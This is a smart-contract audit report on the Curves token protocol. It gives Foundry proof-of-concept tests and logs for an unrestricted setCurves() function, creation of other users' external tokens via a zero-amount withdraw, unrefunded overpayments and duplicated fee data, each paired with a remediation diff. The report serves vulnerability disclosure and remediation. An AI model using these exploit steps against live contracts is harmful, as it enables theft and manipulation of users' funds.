# Curves Protocol Report
The Curves protocol, an extension of friend.tech, introduces several innovative features. For context on friend.tech, consider this insightful article: [Friend Tech Smart Contract Breakdown](https://medium.com/valixconsulting/friend-tech-smart-contract-breakdown-c5588ae3a1cf). Key enhancements in the Curves protocol include:

Token Export to ERC20: This pivotal feature allows users to transfer their tokens from the Curves protocol to the ERC20 format. Such interoperability significantly expands usability across various platforms. Within Curves, tokens lack decimal places, but when converted to ERC20, they adopt a standard 18-decimal format. Importantly, users can seamlessly reintegrate their ERC20 tokens into the Curves ecosystem, albeit only as whole, integer units.

Referral Fee Implementation: Curves empowers protocols built upon its framework by enabling them to earn a percentage of all user transaction fees. This incentive mechanism benefits both the base protocol and its derivative platforms.

Presale Feature: Learning from the pitfalls of friend.tech, particularly issues with frontrunners during token launches, Curves incorporates a presale phase. This allows creators to manage and stabilize their tokens prior to public trading, ensuring a more controlled and equitable distribution.

Token Holder Fee: To encourage long-term holding over short-term trading, Curves introduces a fee distribution model that rewards token holders. This fee is proportionally divided among all token holders, incentivizing sustained investment in the ecosystem.

These additions by Curves not only enhance functionality but also foster a more robust and inclusive financial ecosystem.

* **nSLOC**: 553 
* **Contest details**: https://code4rena.com/audits/2024-02-ai-arena

## Disclaimer
This report contains the valid findings discovered by me (merlinboii). 

Severity Criteria: [Severity Categorization | Code4rena](https://docs.code4rena.com/awarding/judging-criteria/severity-categorization)

---

## Findings

| ID | Description | Severity |
| :-: | - | :-: |
|[H-01](#h-01)| Anyone Can Set The `Curves` Contract by Calling `Feesplitter.Setcurves()`, Leading Manipulation of Crucial Value Via Interacting With The Malicious `Curves` |üçÖ|
|[M-01](#m-01)| The `Curves.Withdraw()` Function Allows Anyone to Create Unminted External Curve Tokens of Others, Bypassing The `Onlytokensubject` in Creating Processes |üçã|
|[M-02](#m-02)| No Refund for Any Overpayment Made by Users When Purchasing The Curve Tokens |üçã|
|[QA-Report](#qa)| Low and Informational findings |ü´ë,ü´ê|

---

## <a name="h-01">[H-01]</a> Anyone Can Set The `Curves` Contract by Calling `Feesplitter.Setcurves()`, Leading Manipulation of Crucial Value Via Interacting With The Malicious `Curves`

* **Severity**: High
* Source: [Anyone Can Set The `Curves` Contract by Calling `Feesplitter.Setcurves()`, Leading Manipulation of Crucial Value Via Interacting With The Malicious `Curves`](https://github.com/code-423n4/2024-01-curves-findings/issues/575)

---
### Description
There is no restriction for the `FeeSplitter.setCurves()`, allowing anyone can invoke the function and set the `Curves` contract to any malicious contract.

```solidity 
35:     function setCurves(Curves curves_) public {
36:         curves = curves_;
37:     }
```
---
### Impact
The `Curves` contract is used in the `balanceOf` and `totalSupply`. These Two crucial functions play an important role in the calculation path of `FeeSpliter`contract.

The following core functions take an effect of this issue:
* `FeeSplitter.updateFeeCredit()`
* `FeeSplitter.getClaimableFees()`
* `FeeSplitter.onBalanceChange()`
* `FeeSplitter.addFees()`
* All functions that interact with these listed above functions
---
### Proof of Concept
1. The attacker can initiate the function call to `FeeSplitter.setCurves()` using the any malicious contract address. 

2. Running this test, it will pass, demonstrating that the attacker can set the `Curves` contract to any address.

Run test: </br>
```forge test --mt test_poc_no_restriction_set_curves_contract -vvv```
</br>

```solidity
    contract SettingCurvesTest is Test {
        FeeSplitter public feeSplitter;
        address public owner;
        address public attacker;
        address public maliciosuContract;

        function setUp() public {
            attacker = makeAddr("attacker");

            vm.prank(owner);
            feeSplitter = new FeeSplitter();
        }

        function test_poc_no_restriction_set_curves_contract() public {
            // initiate the transaction from the non-owner attacker address
            vm.startPrank(attacker);
            // attacker deploy malicious contract
            maliciosuContract = makeAddr("maliciosuContract");
            // attacker attempts to set the Curves
            feeSplitter.setCurves(Curves(maliciosuContract));
            vm.stopPrank();
            console.log("The address of malicious contract: %s", maliciosuContract);
            console.log("The attacker successfully set the Curves to: %s", address(feeSplitter.curves()));
            console.log("Does attacker successfully set the Curves: %s", address(feeSplitter.curves()) == address(maliciosuContract));
        }
    }
```

3. The following result:
```
Running 1 test for test/foundry/H01.t.sol:CounterTest
[PASS] test_poc_no_restriction_set_curves_contract() (gas: 64345)
Logs:
  The address of malicious contract: 0x0caaE6bC1772E730CA3A85a5Fe024D1f600de2cb
  The attacker successfully set the Curves to: 0x0caaE6bC1772E730CA3A85a5Fe024D1f600de2cb
  Does attacker successfully set the Curves: true

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.60ms
```

---
### Tools Used
* Manual Review
* Foundry

---
### Recommendation
Apply access control to restrict who can call the `FeeSplitter.setCurves()` function to be only the **owner** or **manager**.

```diff
+35:     function setCurves(Curves curves_) public onlyOwner {
36:         curves = curves_;
37:     }
  }
```
---

## <a name="m-01">[M-01]</a> The `Curves.Withdraw()` Function Allows Anyone to Create Unminted External Curve Tokens of Others, Bypassing The `Onlytokensubject` in Creating Processes

* **Severity**: Medium
* Source: [The `Curves.Withdraw()` Function Allows Anyone to Create Unminted External Curve Tokens of Others, Bypassing The `Onlytokensubject` in Creating Processes](https://github.com/code-423n4/2024-01-curves-findings/issues/577)

---
### Description
Anyone create unminted external curve tokens of others, bypassing the restrinction that was intended to only allow the subject to create its own external token.

---
### Proof of Concept
1. The attacker bypasses to create the external curve token of the `curvesTokenSubject` of `Alice` by withdrawing with 0 amount: 

```Curves.withdraw(curvesTokenSubjectOfAlice, 0)```

2. Running this test, it will pass, demonstrating that the attacker can create the external token curve of anyone.

Run test: </br>
```forge test --mt test_poc_bypass_create_external_curve_token -vvv```
</br>

```solidity
    contract  CurvesTest is Test {
      Curves public curves;
      address public owner;
      address public attacker;
      address public curvesTokenSubjectOfAlice;

      function setUp() public {
          attacker = makeAddr("attacker");
          curvesTokenSubjectOfAlice = makeAddr("Alice");
          CurvesERC20Factory curveERC20Factory = new CurvesERC20Factory();
          vm.prank(owner);
          curves = new Curves(address(curveERC20Factory), makeAddr("feeRedistributor_"));
      }

      function test_poc_bypass_create_external_curve_token() public {
          // initiate the transaction for withdraw and create someone curve subject
          vm.startPrank(attacker);
          (string memory nameBefore, string memory symbolBefore, address tokenBefore) = curves.externalCurvesTokens(curvesTokenSubjectOfAlice);
          console.log("BEFORE:: The external token before attack of subject: Alice \n name: %s\n symbol: %s\n token: %s", nameBefore, symbolBefore, tokenBefore);
          // attacker attempts to set the Curves
          curves.withdraw(curvesTokenSubjectOfAlice, 0);
          vm.stopPrank();
          (string memory nameAfter, string memory symbolAfter, address tokenAfter) = curves.externalCurvesTokens(curvesTokenSubjectOfAlice);
          console.log("AFTER:: The external token after attack of subject: Alice \n name: %s\n symbol: %s\n token: %s", nameAfter, symbolAfter, tokenAfter); 
      }
  }
```

3. The following result:
```
Running 1 test for test/foundry/H02.t.sol:CurvesTest
[PASS] test_poc_bypass_create_external_curve_token() (gas: 981436)
Logs:
  BEFORE:: The external token before attack of subject: alice 
 name: 
 symbol: 
 token: 0x0000000000000000000000000000000000000000
  AFTER:: The external token after attack of subject: alice 
 name: Curves 1
 symbol: CURVES1
 token: 0x104fBc016F4bb334D775a19E8A6510109AC63E00

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.12ms
```

---
### Tools Used
* Manual Review
* Foundry

---
### Recommendation
Separate the functionality of the `withdraw` and `deploy` new external curve token, and not allow to withdraw the unminted external curve token of the given `curvesTokenSubject` 

Separating the function results in the contract more readable, modular, easier to maintain and reduce the attack vectors.

```diff
465:        function withdraw(address curvesTokenSubject, uint256 amount) public {
466:            if (amount > curvesTokenBalance[curvesTokenSubject][msg.sender]) revert InsufficientBalance();
467:
468:            address externalToken = externalCurvesTokens[curvesTokenSubject].token;
+469:            if (externalToken == address(0)) revert ExternalTokenNotCreated();

          //..SNIPPED..
          
        }
```
---

## <a name="m-02">[M-02]</a> No Refund for Any Overpayment Made by Users When Purchasing The Curve Tokens

* **Severity**: Medium
* Source: [No Refund for Any Overpayment Made by Users When Purchasing The Curve Tokens](https://github.com/code-423n4/2024-01-curves-findings/issues/579)

---
### Description
These following functions for buying curve token accept payments in native ETH, but does not refund overpayments to the buyer.

The root cause function:
* `Curves._buyCurvesToken()`
---
### Impact
The buyers lost their overpayment amounts forever and the overpayment amounts will be locked in the `Curves` contract balance permanently.

The effected functions:
* `Curves.buyCurvesToken()`
* `Curves.buyCurvesTokenWithName()`
* `Curves.buyCurvesTokenForPresale()`
* `Curves.buyCurvesTokenWhitelisted()`

However, as the price of buying curve token depends on the `supply` of the target `curvesTokenSubject`, `amount` to buy and additional fees, the exact `supply` at the time transaction is submitted is unknown. This uncertainty may cause users to predict the precise pricing for the purchase, leading to potential overpayment losses.

```solidity
263:      function _buyCurvesToken(address curvesTokenSubject, uint256 amount) internal {
264:        uint256 supply = curvesTokenSupply[curvesTokenSubject];
265:        if (!(supply > 0 || curvesTokenSubject == msg.sender)) revert UnauthorizedCurvesTokenSubject();
266:
267:        uint256 price = getPrice(supply, amount);
268:        (, , , , uint256 totalFee) = getFees(price);
269:
270:        if (msg.value < price + totalFee) revert InsufficientPayment();
271:
272:        curvesTokenBalance[curvesTokenSubject][msg.sender] += amount;
273:        curvesTokenSupply[curvesTokenSubject] = supply + amount;
274:        _transferFees(curvesTokenSubject, true, price, amount, supply);
275:
276:        // If is the first token bought, add to the list of owned tokens
277:        if (curvesTokenBalance[curvesTokenSubject][msg.sender] - amount == 0) {
278:            _addOwnedCurvesTokenSubject(msg.sender, curvesTokenSubject);
279:        }
280:    }
```

---
### Proof of Concept
1. Bob sends `1 ether(10**18 wei)` to buy one `curveTokenSubject` of Alice by calling 

```Curves.buyCurvesToken{value: 1 ether}(curvesTokenSubjectOfAlice, 1)```

However, the actual price to purchase at this time is `62500000000000 wei`

2. Running this test, it will pass, demonstrating that bob overpayments is not being refunded.

Run test: </br>
```forge test --mt test_poc_no_refund_when_buy_curve_token -vvv```
</br>

```solidity
    contract  CurvesTest is Test {
        Curves public curves;
        address public owner;
        address public alice;
        address public bob;
        address public curvesTokenSubjectOfAlice;

        function setUp() public {
            alice = makeAddr("Alice");
            vm.deal(alice, 1 ether);
            bob = makeAddr("Bob");
            vm.deal(bob, 1 ether);
            curvesTokenSubjectOfAlice = makeAddr("Alice");
            CurvesERC20Factory curveERC20Factory = new CurvesERC20Factory();

            vm.prank(owner);
            curves = new Curves(address(curveERC20Factory), makeAddr("feeRedistributor_"));
            vm.prank(alice);
            // alice buys thir first curve token
            curves.buyCurvesToken{value: 0}(curvesTokenSubjectOfAlice, 1);
        }

        function test_poc_no_refund_when_buy_curve_token() public {
            // assume the fees is not set
            uint256 buyAmount = 1;
            uint256 supply = curves.curvesTokenSupply(curvesTokenSubjectOfAlice);
            uint256 price = curves.getPrice(supply, buyAmount);
            console.log("PRICE to buy the 'curvesTokenSubjectOfAlice' at supply: %s, buying amount: %s\n Price: %s\n", supply, buyAmount, price);
            console.log("BEFORE:: Balance of Bob: %s", address(bob).balance);
            console.log("BEFORE:: Balance of Curves contract: %s\n", address(curves).balance);
            // initiate the transaction for buying curve token subject
            vm.startPrank(bob);
            // bob attempts to buy alice's curve subject token, with paying 1 ether to `Curves` contract
            uint256 payForBuy = 1 ether;
            curves.buyCurvesToken{value: payForBuy}(curvesTokenSubjectOfAlice, 1);
            vm.stopPrank(); 
            console.log("AFTER:: Balance of Bob: %s", address(bob).balance);
            console.log("AFTER:: Balance of Curves contract: %s\n", address(curves).balance);
            console.log("The Curves contract does not pay the refund: %s to Bob when he is overpaying", payForBuy - price);
        }
    }
```

3. The following result:
```
Running 1 test for test/foundry/H03.t.sol:CurvesTest
[PASS] test_poc_no_refund_when_buy_curve_token() (gas: 135715)
Logs:
  PRICE to buy the 'curvesTokenSubjectOfAlice' at supply: 1, buying amount: 1
 Price: 62500000000000

  BEFORE:: Balance of Bob: 1000000000000000000
  BEFORE:: Balance of Curves contract: 0

  AFTER:: Balance of Bob: 0
  AFTER:: Balance of Curves contract: 1000000000000000000

  The Curves contract does not pay the refund: 999937500000000000 to Bob when he is overpaying

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.88ms
```

---
### Tools Used
* Manual Review
* Foundry

---
### Recommendation
Track the precise buying amount in the `Curves.buyCurvesToken()`, then using it to calculate and refund overpayment amounts to buyers.

The following recommendation code shows the example concept of the refund mechanism apply in the `Curves.buyCurvesToken()`. It should be ensuring that changes match the contract's purpose / business purpose and recommend testing thoroughly to fix vulnerabilities without disrupting operations.

```diff
263:      function _buyCurvesToken(address curvesTokenSubject, uint256 amount) internal {
264:        uint256 supply = curvesTokenSupply[curvesTokenSubject];
265:        if (!(supply > 0 || curvesTokenSubject == msg.sender)) revert UnauthorizedCurvesTokenSubject();
266:
267:        uint256 price = getPrice(supply, amount);
268:        (, , , , uint256 totalFee) = getFees(price);
269:
270:        if (msg.value < price + totalFee) revert InsufficientPayment();
271:
272:        curvesTokenBalance[curvesTokenSubject][msg.sender] += amount;
273:        curvesTokenSupply[curvesTokenSubject] = supply + amount;
274:        _transferFees(curvesTokenSubject, true, price, amount, supply);
275:
276:        // If is the first token bought, add to the list of owned tokens
277:        if (curvesTokenBalance[curvesTokenSubject][msg.sender] - amount == 0) {
278:            _addOwnedCurvesTokenSubject(msg.sender, curvesTokenSubject);
279:        }
+280:   if (msg.value - (price + totalFee) != 0) {
+281:       uint256 refundValue = msg.value - (price + totalFee);
+282:       (bool success, ) = msg.sender.call{value: refundValue}("");
+283:       if (!success) revert CannotSendFunds();
+284:   } 
285:    }
```

The Result:

```
Running 1 test for test/foundry/H03.t.sol:CurvesTest
[PASS] test_apply_refund_when_buy_curve_token() (gas: 167974)
Logs:
  PRICE to buy the 'curvesTokenSubjectOfAlice' at supply: 1, buying amount: 1
 Price: 62500000000000

  BEFORE:: Balance of Bob: 1000000000000000000
  BEFORE:: Balance of Curves contract: 0

  AFTER:: Balance of Bob: 999937500000000000
  AFTER:: Balance of Curves contract: 62500000000000

  The Curves contract pays the refund: 999937500000000000 to Bob when he is overpaying

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.23ms
```
---

## <a name="qa">[QA Report]</a> Low and Informational findings
| ID | Description | Severity |
| :-: | - | :-: |
| [L-01](#l-01) | Unremoved unowned curve token in `OwnedCurvesTokenSubjects` | ü´ë |
| [L-02](#l-02) | Owner Unable to Burn Their External Tokens | ü´ë |
| [L-03](#l-03) | Precision Loss in Fee Calculation | ü´ë |
| [L-04](#l-04) | [downgraded] Users Can Duplicate the `Usertokens` to Obtain Multiple User Claimable Data | ü´ë |
| [L-05](#l-05) | [downgraded] The `Curves.mint()` can override the intended `name` or `symbol` of the external token with the default configurations | ü´ë |
| [I-01](#i-01) | Require Extra `name` and `symbol` Validation | ü´ê |
| [I-02](#i-02) | Unclear Naming for Open Sale `startTime` | ü´ê |
| [I-03](#i-03) | Arithmetic Revert Lack of Transparency in First Token Purchase | ü´ê |
| [G-01](#g-01) | Using `storage` in the read-only function can consume more gas | ‚õΩÔ∏è |

\* Source: [Curves: QA Report](https://github.com/code-423n4/2024-01-curves-findings/issues/582)

---
### **[L-01] Unremoved unowned curve token in `OwnedCurvesTokenSubjects`**<a name="l-01"></a>

The `Curves` contract does not remove the curve token subject tracked from `OwnedCurvesTokenSubjects` when they have no balance of that token, causing a potential conflict with the variable's intended meaning.

---
### **[L-02] Owner Unable to Burn Their External Tokens**<a name="l-02"></a>

The owner of the external curve token (`CurveERC20`) is restricted from performing self-burning.

```solidity
    function burn(address from, uint256 amount) public onlyOwner {
            _burn(from, amount);
    }
```

---
### **[L-03] Precision Loss in Fee Calculation**<a name="l-03"></a>

Calculation Fee Precision loss is happended in the `Curves.getFees()` as using `1e18` to represent `100%` and the fee will be calculated by `price * xxFeePercent / 1e18`, leading to a loss of precision in the result of the fee calculation

```solidity
    function getFees(
        uint256 price
    )
        public
        view
        returns (uint256 protocolFee, uint256 subjectFee, uint256 referralFee, uint256 holdersFee, uint256 totalFee)
    {
        protocolFee = (price * feesEconomics.protocolFeePercent) / 1 ether;
        subjectFee = (price * feesEconomics.subjectFeePercent) / 1 ether;
        referralFee = (price * feesEconomics.referralFeePercent) / 1 ether;
        holdersFee = (price * feesEconomics.holdersFeePercent) / 1 ether;
        totalFee = protocolFee + subjectFee + referralFee + holdersFee;
    }
```

---

### **[L-04] Users Can Duplicate the `Usertokens` to Obtain Multiple User Claimable Data**<a name="l-04"></a>

* **Severity**: Low
* Source: [Users Can Duplicate the `Usertokens` to Obtain Multiple User Claimable Data](https://github.com/code-423n4/2024-01-curves-findings/issues/580)

---
#### Description
The `FeeSplitter.onBalanceChange()` function allows to add the same `curvesTokenSubject` multiple times into the `userTokens` mapping array of the given buyer when buying the curev tokens.

The root cause function: 
* `FeeSplitter.onBalanceChange()`

#### Impact
The duplicated `userTokens` for each account can generate multiple user `FeeSplitter.UserClaimData`s. This variable does not play a crucial role in the main calculation; rather, it is used in retrieving the `FeeSplitter.UserClaimData`, which contains claimable fee and token address.

However, retrieving this duplicated result off-chain may impact the protocol, leading to issues like duplicate claimable fees.

The effected functions and variable: 
* `FeeSplitter.userTokens` variable
* `FeeSplitter.getUserTokens()`
* `FeeSplitter.getUserTokensAndClaimable()`

```solidity
23:   struct UserClaimData {
24:        uint256 claimableFees;
25:        address token;
26:    }
```

#### Proof of Concept
1. Alice buy her own `curveTokenSubject` for the first time

```Curves.buyCurvesToken{value: 0}(curvesTokenSubjectOfAlice, 1)```

The `curvesTokenSubjectOfAlice` address is added into `FeeSplitter.userTokens[address(alice)]`

2. Alice sends `1 ether(10**18 wei)` to buy her `curveTokenSubject` one more token

```Curves.buyCurvesToken{value: 1 ether}(curvesTokenSubjectOfAlice, 1)```

The `curvesTokenSubjectOfAlice` address is added AGAIN into `FeeSplitter.userTokens[address(alice)]`

3. Running this test, it will pass, demonstrating that `FeeSplitter.userTokens[address(alice)]` contained the duplicated token.

Run test: </br>
```forge test --mt test_poc_duplicate_userTokens_when_buy_curve_token -vvv```
</br>

```solidity
    contract  CurvesTest is Test {
      Curves public curves;
      address public owner;
      address public alice;
      address public curvesTokenSubjectOfAlice;
      FeeSplitter public feeSplitter;

      function setUp() public {
          alice = makeAddr("Alice");
          vm.deal(alice, 1 ether);
          curvesTokenSubjectOfAlice = makeAddr("Alice");

          vm.startPrank(owner);
          feeSplitter = new FeeSplitter();
          curves = new Curves(makeAddr("curveERC20Factory"), address(feeSplitter));
          // set up FeeSplitter and Curves
          feeSplitter.setManager(address(curves), true);
          feeSplitter.setCurves(Curves(curves));
          // owner initiate max fee percentage to 100% (1e18)
          curves.setMaxFeePercent(1e18);
          // owner initiate holders fee percentage to 10% (1e17)
          curves.setExternalFeePercent(0,0,1e17);
          vm.stopPrank();
      }

      function test_poc_duplicate_userTokens_when_buy_curve_token() public {
          // initiate the transaction for buying curve token subject
          vm.startPrank(alice);
          // alice buys her first curve token
          curves.buyCurvesToken{value: 0}(curvesTokenSubjectOfAlice, 1);
          // alice buys her curve token more
          uint256 payForBuy = 1 ether;
          curves.buyCurvesToken{value: payForBuy}(curvesTokenSubjectOfAlice, 1);
          vm.stopPrank();

          address[] memory userTokens_Alice = feeSplitter.getUserTokens(alice);
          console.log("\n>> feeSplitter.getUserTokens(alice);\n");
          for(uint i; i<userTokens_Alice.length; i++) {
              console.log("userTokens_Alice[%s] = %s",i, userTokens_Alice[i]);
          }
          console.log("\n>> feeSplitter.getUserTokensAndClaimable(alice);\n");
          FeeSplitter.UserClaimData[] memory userClaimData_Alice = feeSplitter.getUserTokensAndClaimable(alice);
          for(uint i; i<userClaimData_Alice.length; i++) {
              console.log("Index: %s", i);
              console.log("claimableFees = %s", userClaimData_Alice[i].claimableFees);
              console.log("token = %s", userClaimData_Alice[i].token);
          }
          console.log("\nThe FeeSplitter.userTokens array contain the duplicated tokens, leading to create the duplication of user claim data");
      }
  }
```

3. The following result:
```
Running 1 test for test/foundry/H04.t.sol:CurvesTest
[PASS] test_poc_duplicate_userTokens_when_buy_curve_token() (gas: 294976)
Logs:
  
>> feeSplitter.getUserTokens(alice);

  userTokens_Alice[0] = 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea
  userTokens_Alice[1] = 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea
  
>> feeSplitter.getUserTokensAndClaimable(alice);

  Index: 0
  claimableFees = 6250000000000
  token = 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea
  Index: 1
  claimableFees = 6250000000000
  token = 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea
  
The FeeSplitter.userTokens array contain the duplicated tokens, leading to create the duplication of user claim data

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.06ms
```

#### Tools Used
* Manual Review
* Foundry

#### Recommendation
Apply a validation of adding duplicated token to the `FeeSplitter.onBalanceChange()` to ensure that duplicate tokens are not added. 

For instance, it can be achieved by updating the logic like in the `Curves._addOwnedCurvesTokenSubject()`

---

### **[L-05] The `Curves.mint()` can override the intended `name` or `symbol` of the external token with the default configurations**<a name="l-05"></a>

* **Severity**: Low
* Source: [The `Curves.mint()` can override the intended `name` or `symbol` of the external token with the default configurations](https://github.com/code-423n4/2024-01-curves-findings/issues/581)

---
#### Description
When the `curvesTokenSubject` does not set either the `name` or `symbol` for the external curve token, that intended `name` or `symbol` will be replaced with default configurations.

```solidity
439:      function mint(address curvesTokenSubject) external onlyTokenSubject(curvesTokenSubject) {
440:          if ( 
441:              keccak256(abi.encodePacked(externalCurvesTokens[curvesTokenSubject].name)) ==
442:              keccak256(abi.encodePacked("")) ||
443:              keccak256(abi.encodePacked(externalCurvesTokens[curvesTokenSubject].symbol)) ==
444:              keccak256(abi.encodePacked(""))
445:          ) {
446:              externalCurvesTokens[curvesTokenSubject].name = DEFAULT_NAME;
447:              externalCurvesTokens[curvesTokenSubject].symbol = DEFAULT_SYMBOL;
448:          }
449:          _mint(
450:              curvesTokenSubject,
451:              externalCurvesTokens[curvesTokenSubject].name,
452:              externalCurvesTokens[curvesTokenSubject].symbol
453:          );
454:    }
```

#### Proof of Concept
1. Alice set her external curve token name as "AliceCurve" but forgot to set the symbol via calling `Curves.setNameAndSymbol()`

```
Current states
externalCurvesTokens[curvesTokenSubjectAlice].name = "AliceCurve";
externalCurvesTokens[curvesTokenSubjectAlice].symbol = "";
```

2. Alice invokes `Curves.mint(curvesTokenSubjectAlice)` to create her external token curve. However, the execution falls into the following if condition and **override** the `name` and `symbol` since the `externalCurvesTokens[curvesTokenSubjectAlice].symbol` has not been set.
```
440:          if ( 
441:              keccak256(abi.encodePacked(externalCurvesTokens[curvesTokenSubject].name)) ==
442:              keccak256(abi.encodePacked("")) ||
443:              keccak256(abi.encodePacked(externalCurvesTokens[curvesTokenSubject].symbol)) ==
444:              keccak256(abi.encodePacked(""))
445:          ) {
446:              externalCurvesTokens[curvesTokenSubject].name = DEFAULT_NAME;
447:              externalCurvesTokens[curvesTokenSubject].symbol = DEFAULT_SYMBOL;
448:          }
```
3. As a result, The inteneded `name`, "AliceCurve", is overrided by the default configuration (`DEFAULT_NAME`).

#### Tools Used
* Manual Review

#### Recommendation
Apply more validation of the given `name` and `symbol` in the `Curves.setNameAndSymbol()`

---

### **[I-01] Require Extra `name` and `symbol` Validation**<a name="i-01"></a>

The following functions require more validation of `name` and `symbol`.

* `Curves.buyCurvesTokenWithName()`
* `Curves.setNameAndSymbol()`

Let's consider the following cases that can happend from the current logic:

1. If the `name` is set to `XXX` but the symbol is `DEFAULT_SYMBOL`, all of them will be appended with a `_curvesTokenCounter` => `name: XXX {_curvesTokenCounter}` and `symbol: DEFAULT_SYMBOL {_curvesTokenCounter}`.

2. External curve tokens can use the same name but they should have a unique of both `name` and `symbol`. It can be compared to imagining the `name` as a `username`, and uniqueness is required.

---
### **[I-02] Unclear Naming for Open Sale `startTime`**<a name="i-02"></a>

The variable `presale.startTime` represents the time when the open sale begins. However, the current variable name is unclear and should be more explicit to avoid confusion.

---
### **[I-03] Arithmetic Revert Lack of Transparency in First Token Purchase**<a name="i-03"></a>

The `Curves.getPrice()`, specifically, if `(supply == 0 && amount > 1)`, it should explicitly revert of `UnavialbleAmountForFirstBuy` to enhance transparency, especially for the first token purchase. 

Currently, the function is noted as always arithmetically reverting for this case, but making this condition explicit can improve clarity in the code logic.

---
### **[G-01] Using `storage` in the read-only function can consume more gas**<a name="g-01"></a>

Using `storage` in the read-only (view) function can consume more gas when the function is called from internal/external contract.

---